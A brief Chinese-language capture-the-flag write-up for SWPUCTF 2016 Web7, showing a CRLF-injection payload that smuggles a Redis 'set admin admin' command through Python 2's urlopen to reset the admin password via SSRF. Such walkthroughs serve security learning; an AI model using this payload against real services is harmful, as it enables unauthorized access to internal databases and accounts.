# [SWPUCTF_2016]Web7

image-20250224212323881

进入就是这个,随便 aaa

image-20250224212344321

提示是 python2 的 urlopen 函数,就是 crlf 了,可以用 set admin admin 来设置 admin 的密码,

payload:(%0d%0a 就是回车键(回车换行))通过 urllib 注入 redis。修改 admin 密码

submit:http://127.0.0.1%0d%0a%0d%0aset%20admin%20admin%0d%0aHost:%20127.0.0.1:6379
login:admin

image-20250224212539675

参考链接:https://guokeya.github.io/post/swpuctf-2016web7urllib-tou-zhu-ru-ssrf/

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal